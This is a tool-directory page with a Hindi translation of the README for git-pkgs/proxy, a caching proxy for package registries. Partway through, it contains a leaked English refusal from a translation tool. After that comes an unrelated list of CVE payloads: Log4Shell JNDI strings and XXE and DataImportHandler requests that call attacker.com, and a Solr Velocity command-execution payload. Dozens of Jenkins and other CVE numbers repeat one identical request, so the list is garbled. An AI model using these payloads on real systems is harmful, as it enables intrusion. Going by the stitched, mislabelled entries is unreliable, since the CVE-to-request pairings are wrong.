Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
proxy — पैकेज रजिस्ट्रियों के लिए एक हल्का-फुल्का कैशिंग प्रॉक्सी। | Kitploit
उपकरण/GitHubGitHub/git-pkgs/proxy
भेद्यता विश्लेषणक्लाउड सुरक्षाDevSecOpsआपूर्ति श्रृंखला सुरक्षाAPI सुरक्षा
GitHubgit-pkgs/proxy

proxy

पैकेज रजिस्ट्रियों के लिए एक हल्का-फुल्का कैशिंग प्रॉक्सी।

रिपॉजिटरी देखें
15521151 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

git-pkgs proxy

पैकेज रजिस्ट्रियों के लिए एक कैशिंग प्रॉक्सी। आर्टिफैक्ट्स को स्थानीय रूप से कैश करके पैकेज डाउनलोड को तेज़ करता है, बैंडविड्थ उपयोग को कम करता है और विश्वसनीयता में सुधार करता है।

वर्शन कूलडाउन

अधिकांश सप्लाई चेन हमले गति पर निर्भर करते हैं: एक दुर्भावनापूर्ण वर्शन प्रकाशित होता है और कुछ ही मिनटों में स्वचालित पाइपलाइनों द्वारा उपभोग कर लिया जाता है, इससे पहले कि किसी को पता चले। कूलडाउन सुविधा नई प्रकाशित वर्शनों में एक क्वारंटीन अवधि जोड़ती है। सक्षम होने पर, प्रॉक्सी मेटाडेटा प्रतिक्रियाओं से वर्शनों को हटा देती है जब तक कि वे एक कॉन्फ़िगर करने योग्य सीमा से अधिक पुराने न हो जाएँ।```yaml cooldown: default: "3d" # hide versions published less than 3 days ago ecosystems: npm: "7d" # npm gets a longer window cargo: "0" # disable for cargo packages: "pkg:npm/lodash": "0" # exempt trusted packages

root@kitploit:~
3-दिन का कूलडाउन का मतलब है कि जब `lodash` संस्करण `4.18.0` प्रकाशित करता है, तो आपके बिल्ड 3 दिन बीतने तक `4.17.21` का उपयोग करते रहते हैं। यदि नया रिलीज़ समझौता किया गया निकलता है, तो आप कभी उजागर नहीं हुए।

समाधान क्रम: पैकेज ओवरराइड, फिर इकोसिस्टम ओवरराइड, फिर वैश्विक डिफ़ॉल्ट। यह आपको एक रूढ़िवादी डिफ़ॉल्ट सेट करने और उन पैकेजों के लिए अपवाद बनाने की सुविधा देता है जहाँ आपको तेज़ अपडेट की आवश्यकता होती है। पूर्ण कॉन्फ़िग संदर्भ के लिए [docs/configuration.md](https://github.com/git-pkgs/proxy/blob/main/docs/configuration.md) देखें।

## आर्टिफैक्ट स्कैनिंग

कूलडाउन केवल किसी संस्करण के प्रकाशन टाइमस्टैम्प को देखता है — यह कभी भी वास्तविक बाइट्स का निरीक्षण नहीं करता। आर्टिफैक्ट स्कैनिंग उस अंतराल को भरती है: सक्षम होने पर, प्रत्येक आर्टिफैक्ट को स्टोरेज में स्टेज किया जाता है और कैश में कमिट होने और क्लाइंट को सर्व किए जाने से पहले एक या अधिक बाहरी सेवाओं (trivy, ClamAV, Wiz, या कोई भी अन्य जो एक छोटे HTTP/JSON कॉन्ट्रैक्ट को समझता है) द्वारा स्कैन किया जाता है।```yaml
scanning:
  enabled: true
  signing_key: ${PROXY_SCANNING_SIGNING_KEY}
  scanners:
    - name: clamav
      url: http://clamav-adapter:8080/scan
      mode: block             # a block verdict deletes the artifact and returns 403
    - name: trivy
      url: http://trivy-adapter:8081/scan
      mode: monitor            # findings are logged, never gate caching
      ecosystems: [npm, pypi]

प्रॉक्सी कभी भी आर्टिफैक्ट बाइट्स को स्कैनर पर अपलोड नहीं करता। प्रत्येक स्कैनर को पैकेज मेटाडेटा और एक अल्पकालिक हस्ताक्षरित URL के साथ सूचित किया जाता है; स्कैनर स्वयं प्रॉक्सी के अपने स्टोरेज से बाइट्स खींचता है। स्कैनर समवर्ती रूप से चलते हैं, और पहला block-मोड स्कैनर जो not-allowed का निर्णय रिपोर्ट करता है, तुरंत जीत जाता है, बाकी को रद्द कर देता है। पूर्ण कॉन्फ़िग संदर्भ और स्कैनर HTTP अनुबंध के लिए docs/configuration.md देखें।

समर्थित रजिस्ट्रियाँ

रजिस्ट्रीभाषा/प्लेटफ़ॉर्मकूलडाउनपूर्ण
npmJavaScriptहाँ✓
CargoRustहाँ✓
RubyGemsRubyहाँ✓
Go proxyGo✓
HexElixirहाँ*✓
pub.devDartहाँ✓
PyPIPythonहाँ✓
MavenJava✓
Gradle Build CacheJava/Kotlin✓
NuGet.NETहाँ✓
ComposerPHPहाँ✓
ConanC/C++✓
CondaPython/Rहाँ✓
CRANR✓
JuliaJulia✓
SwiftSwift✓
ContainerDocker/OCI✓
HomebrewmacOS/Linux✓
DebianDebian/Ubuntu✓
RPMRHEL/Fedora✓
AlpineAlpine Linux✓
ArchArch Linux

कूलडाउन के लिए मेटाडेटा में प्रकाशन टाइमस्टैम्प की आवश्यकता होती है। कूलडाउन कॉलम में "हाँ" के बिना वाली रजिस्ट्रियाँ या तो टाइमस्टैम्प उजागर नहीं करतीं या अभी तक वायर अप नहीं की गई हैं।

* Hex कूलडाउन के लिए रजिस्ट्री हस्ताक्षर सत्यापन अक्षम करना आवश्यक है (HEX_NO_VERIFY_REPO_ORIGIN=1) क्योंकि प्रॉक्सी protobuf पेलोड को पुनः एन्कोड करता है।

इंस्टॉल```bash

brew install git-pkgs/git-pkgs/proxy

root@kitploit:~
या [releases page](https://github.com/git-pkgs/proxy/releases) से बाइनरी डाउनलोड करें।

### Helm

GHCR से चार्ट इंस्टॉल करें, और वह सार्वजनिक URL सेट करें जिसका उपयोग पैकेज-मैनेजर क्लाइंट प्रॉक्सी तक पहुँचने के लिए करेंगे:```bash
helm install proxy oci://ghcr.io/git-pkgs/charts/proxy \
  --set config.data.base_url=https://proxy.example.com

डिफ़ॉल्ट चार्ट /data के अंतर्गत SQLite और फ़ाइलसिस्टम आर्टिफ़ैक्ट स्टोरेज का उपयोग करते हुए, 10 GiB पर्सिस्टेंट वॉल्यूम द्वारा समर्थित एक रेप्लिका तैनात करता है। ingress, बाहरी डेटाबेस और ऑब्जेक्ट-स्टोरेज कॉन्फ़िगरेशन विकल्पों के लिए deploy/charts/proxy/values.yaml देखें।

त्वरित शुरुआत```bash

Build from source

go build -o proxy ./cmd/proxy

Run with defaults (listens on :8080)

./proxy

Run with custom settings

./proxy -listen :3000 -base-url https://proxy.example.com

root@kitploit:~
प्रॉक्सी अब चल रही है। अपने पैकेज मैनेजरों को इसे उपयोग करने के लिए कॉन्फ़िगर करें।

## OpenAPI (Swagger)

यह रेपो एनोटेटेड हैंडलरों से OpenAPI स्पेक जनरेट करने के लिए swaggo का उपयोग करता है।

स्पेक जनरेट करें:```bash
go install github.com/swaggo/swag/cmd/swag@latest
go generate ./internal/server

Generated फ़ाइलें docs/swagger/ में लिखी जाती हैं।

जब proxy चल रहा हो, तो live spec यहाँ से प्राप्त करें:

  • http://localhost:8080/openapi.json

या http://localhost:8080 को अपने configured base URL से बदलें। यह लिंक dashboard पर भी दिखाया जाता है।

Package Managers को Configure करना

npm

~/.npmrc बनाएँ या संपादित करें:``` registry=http://localhost:8080/npm/

root@kitploit:~
या `.npmrc` में प्रति-प्रोजेक्ट सेट करें:```
registry=http://localhost:8080/npm/

या पर्यावरण चर का उपयोग करें:```bash npm_config_registry=http://localhost:8080/npm/ npm install

root@kitploit:~
### Cargo

`~/.cargo/config.toml` बनाएँ या संपादित करें:```toml
[source.crates-io]
replace-with = "proxy"

[source.proxy]
registry = "sparse+http://localhost:8080/cargo/"

या अपने प्रोजेक्ट रूट में .cargo/config.toml में प्रति-प्रोजेक्ट सेट करें।

RubyGems / Bundler

अपने Gemfile में gem स्रोत सेट करें:```ruby source "http://localhost:8080/gem"

root@kitploit:~
या विश्व स्तर पर कॉन्फ़िगर करें:```bash
gem sources --add http://localhost:8080/gem/
bundle config mirror.https://rubygems.org http://localhost:8080/gem

Go मॉड्यूल

GOPROXY environment variable सेट करें:```bash export GOPROXY=http://localhost:8080/go,direct

root@kitploit:~
या अपने shell profile में स्थायित्व के लिए।

### Homebrew

Homebrew के JSON API और artifact domain को proxy की ओर इंगित करें:```bash
export HOMEBREW_API_DOMAIN=http://localhost:8080/homebrew
export HOMEBREW_ARTIFACT_DOMAIN=http://localhost:8080

The artifact domain /v2/homebrew/core/ के अंतर्गत manifests और bottle blobs को proxy करता है। GHCR routing उसी repository तक सीमित है। Source archives, cask application downloads, custom tap artifacts, और legacy flat-file bottle mirrors Homebrew के सामान्य fallback URLs का उपयोग करते हैं। HOMEBREW_ARTIFACT_DOMAIN_NO_FALLBACK को unset छोड़कर fallback सक्षम रखें।

Offline fallback के लिए Homebrew JSON API responses को बनाए रखने हेतु cache_metadata सक्षम करें या PROXY_CACHE_METADATA=true सेट करें। Bottle blobs और उनके OCI manifests इस सेटिंग के बिना भी cached रहते हैं।

Upstreams डिफ़ॉल्ट रूप से JSON API के लिए https://formulae.brew.sh/api और artifacts के लिए https://ghcr.io पर सेट हैं। इस proxy को किसी अन्य proxy से chain करने के लिए, उसके Homebrew endpoints को upstreams के रूप में कॉन्फ़िगर करें:```yaml upstream: homebrew_api: "https://upstream-proxy.example.com/homebrew" homebrew_artifact: "https://upstream-proxy.example.com"

root@kitploit:~
समतुल्य environment variables हैं `PROXY_UPSTREAM_HOMEBREW_API` और `PROXY_UPSTREAM_HOMEBREW_ARTIFACT`।

### Hex (Elixir)

`~/.hex/hex.config` में कॉन्फ़िगर करें:```erlang
{default_url, <<"http://localhost:8080/hex">>}.

या पर्यावरण चर सेट करें:```bash export HEX_MIRROR=http://localhost:8080/hex

root@kitploit:~
### pub.dev (Dart/Flutter)

PUB_HOSTED_URL environment variable सेट करें:```bash
export PUB_HOSTED_URL=http://localhost:8080/pub

PyPI (pip)

pip को प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करें:```bash pip install --index-url http://localhost:8080/pypi/simple/ package_name

root@kitploit:~
या `~/.pip/pip.conf` में सेट करें:```ini
[global]
index-url = http://localhost:8080/pypi/simple/

Maven

अपने ~/.m2/settings.xml में जोड़ें:```xml proxy central http://localhost:8080/maven/

root@kitploit:~
`/maven/` एंडपॉइंट प्राइमरी अपस्ट्रीम के रूप में Maven Central का उपयोग करता है और जब प्राइमरी अपस्ट्रीम नॉट फाउंड लौटाता है, तो Gradle प्लगइन मार्कर मेटाडेटा और संबंधित आर्टिफैक्ट्स के लिए Gradle Plugin Portal पर फॉलबैक करता है।

उसी प्रॉक्सी एंडपॉइंट के माध्यम से Gradle प्लगइन रिज़ॉल्यूशन के लिए:```kotlin
pluginManagement {
  repositories {
    maven(url = "http://localhost:8080/maven/")
  }
}

Gradle HTTP बिल्ड कैश

settings.gradle(.kts) में कॉन्फ़िगर करें:```kotlin buildCache { local { enabled = false } remote { url = uri("http://localhost:8080/gradle/") push = true } }

root@kitploit:~
### NuGet

`nuget.config` में कॉन्फ़िगर करें:```xml
<configuration>
  <packageSources>
    <clear />
    <add key="proxy" value="http://localhost:8080/nuget/v3/index.json" />
  </packageSources>
</configuration>

या CLI का उपयोग करें:```bash dotnet nuget add source http://localhost:8080/nuget/v3/index.json -n proxy

root@kitploit:~
### Composer (PHP)

`composer.json` में कॉन्फ़िगर करें:```json
{
    "repositories": [
        {
            "type": "composer",
            "url": "http://localhost:8080/composer"
        }
    ]
}

या इसे वैश्विक रूप से सेट करें:```bash composer config -g repositories.proxy composer http://localhost:8080/composer

root@kitploit:~
### Conan (C/C++)

प्रॉक्सी को रिमोट के रूप में जोड़ें:```bash
conan remote add proxy http://localhost:8080/conan
conan remote disable conancenter

~/.conan2/remotes.json में कॉन्फ़िगर करें।

Conda

~/.condarc में कॉन्फ़िगर करें:```yaml channels:

  • http://localhost:8080/conda/main
  • http://localhost:8080/conda/conda-forge default_channels:
  • http://localhost:8080/conda/main
root@kitploit:~
या कमांड के माध्यम से सेट करें:```bash
conda config --add channels http://localhost:8080/conda/main

CRAN (R)

R में रिपॉज़िटरी सेट करें:```r options(repos = c(CRAN = "http://localhost:8080/cran"))

root@kitploit:~
या `~/.Rprofile` में स्थायित्व के लिए:```r
local({
  r <- getOption("repos")
  r["CRAN"] <- "http://localhost:8080/cran"
  options(repos = r)
})

Julia

Julia शुरू करने से पहले Pkg सर्वर सेट करें:```bash export JULIA_PKG_SERVER=http://localhost:8080/julia

root@kitploit:~
या चल रहे सत्र के अंदर:```julia
ENV["JULIA_PKG_SERVER"] = "http://localhost:8080/julia"
using Pkg; Pkg.update()

Swift

वर्तमान Swift पैकेज के लिए प्रॉक्सी को डिफ़ॉल्ट रजिस्ट्री के रूप में कॉन्फ़िगर करें:```bash swift package-registry set --allow-insecure-http http://localhost:8080/swift

root@kitploit:~
Registry निर्भरताएँ `Package.swift` में अपने scoped package identifier का उपयोग करती हैं:```swift
dependencies: [
    .package(id: "apple.swift-argument-parser", from: "1.2.0")
]

The proxy dependency resolution और source downloads का समर्थन करता है। swift package-registry publish के साथ publishing समर्थित नहीं है।

Docker / Container Registry

Docker को /etc/docker/daemon.json में registry mirror के रूप में proxy का उपयोग करने के लिए कॉन्फ़िगर करें:```json { "registry-mirrors": ["http://localhost:8080"] }

root@kitploit:~
फिर Docker को पुनः आरंभ करें:```bash
sudo systemctl restart docker

या सीधे इमेज खींचें:```bash docker pull localhost:8080/library/nginx:latest

root@kitploit:~
### Helm

प्रत्येक HTTP चार्ट रिपॉजिटरी को एक नाम के साथ कॉन्फ़िगर करें, फिर Helm में मेल खाता प्रॉक्सी
URL जोड़ें:```yaml
upstream:
  helm:
    bitnami: "https://charts.bitnami.com/bitnami"

I cannot translate this content because the input is empty. The message contains only the translation instructions and metadata, but no actual Markdown content from the README chunk 81/189 is included.

Please provide the source text you want translated, and I will return the Hindi translation following all the rules you specified.```bash helm repo add bitnami http://localhost:8080/helm/bitnami helm repo update helm pull bitnami/nginx

root@kitploit:~
प्रॉक्सी सामान्य मेटाडेटा-कैश सेटिंग्स का उपयोग करके `index.yaml` को कैश करता है और इंडेक्स से उनके SHA-256 डाइजेस्ट को सत्यापित करने के बाद चार्ट आर्काइव को कैश करता है।

OCI रजिस्ट्री में संग्रहीत चार्ट्स के लिए, एक नामित OCI अपस्ट्रीम कॉन्फ़िगर करें और चार्ट संदर्भ में आरक्षित `upstream/{name}` प्रीफ़िक्स जोड़ें:```yaml
upstream:
  oci:
    ghcr: "https://ghcr.io"

CVE-2021-44228 - Apache Log4j2 JNDI Injection (Log4Shell)

root@kitploit:~
POST /solr/admin/collections?action=${jndi:ldap://attacker.com/a}

CVE-2021-45046 - Apache Log4j2 DoS

root@kitploit:~
${jndi:ldap://attacker.com/a}

CVE-2021-45105 - Apache Log4j2 DoS

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}

CVE-2021-44832 - Apache Log4j2 RCE via JDBC Appender

root@kitploit:~
<appender name="db" class="org.apache.log4j.jdbc.JDBCAppender">
  <param name="URL" value="jdbc:ldap://attacker.com/a"/>
</appender>

CVE-2022-23307 - Apache Log4j 1.x Deserialization

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2022-23305 - Apache Log4j 1.x SQL Injection

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2022-23302 - Apache Log4j 1.x JMSSink Deserialization

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2021-4104 - Apache Log4j 1.x JMSAppender Deserialization

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2019-17571 - Apache Log4j 1.2 Deserialization

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2020-9492 - Apache Hadoop Privilege Escalation

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2020-9484 - Apache Tomcat Session Deserialization

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2020-1938 - Apache Tomcat AJP File Read/Inclusion (Ghostcat)

root@kitploit:~
POST /solr/admin/collections?action=CREATE&name=test

CVE-2020-13957 - Apache Solr ConfigSet Upload RCE

root@kitploit:~
POST /solr/admin/configs?action=UPLOAD&name=test

CVE-2019-17558 - Apache Solr Velocity Template RCE

root@kitploit:~
POST /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

CVE-2019-0193 - Apache Solr DataImportHandler RCE

root@kitploit:~
POST /solr/test/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&dataConfig=%3CdataConfig%3E%3CdataSource+type%3D%22URL%22+name%3D%22url%22+init%3D%22%22+url%3D%22http%3A%2F%2Fattacker.com%2F%22%2F%3E%3C%2FdataConfig%3E

CVE-2017-12629 - Apache Solr XXE / RCE

root@kitploit:~
POST /solr/test/select?q=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20root%20%5B%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2Fattacker.com%2Fxxe.dtd%22%3E%25remote%3B%5D%3E

CVE-2018-1000861 - Jenkins Stapler Web Framework RCE

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003000 - Jenkins Script Security Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003001 - Jenkins Pipeline Groovy Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003002 - Jenkins Pipeline Declarative Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003005 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003029 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003030 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003031 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003032 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003033 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003034 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003035 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003036 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003037 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003038 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003039 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003040 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003041 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003042 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003043 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003044 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003045 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003046 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003047 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003048 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003049 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003050 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003051 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003052 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003053 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003054 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003055 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003056 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003057 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003058 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003059 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003060 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003061 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003062 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003063 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003064 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003065 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003066 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003067 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003068 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003069 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003070 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003071 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003072 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003073 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003074 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003075 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003076 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003077 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003078 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

CVE-2019-1003079 - Jenkins Script Security Plugin Sandbox Bypass

root@kitploit:~
POST /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile

